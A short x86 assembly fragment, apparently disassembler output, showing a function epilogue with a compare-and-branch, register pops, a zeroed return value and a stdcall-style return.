cmp edx, dword [ebp - 0x14]
mov dword [ebp + 0xc], edx
jb 0x1001b9b7
pop esi
pop ebx
xor eax, eax
pop edi
leave
ret 0x18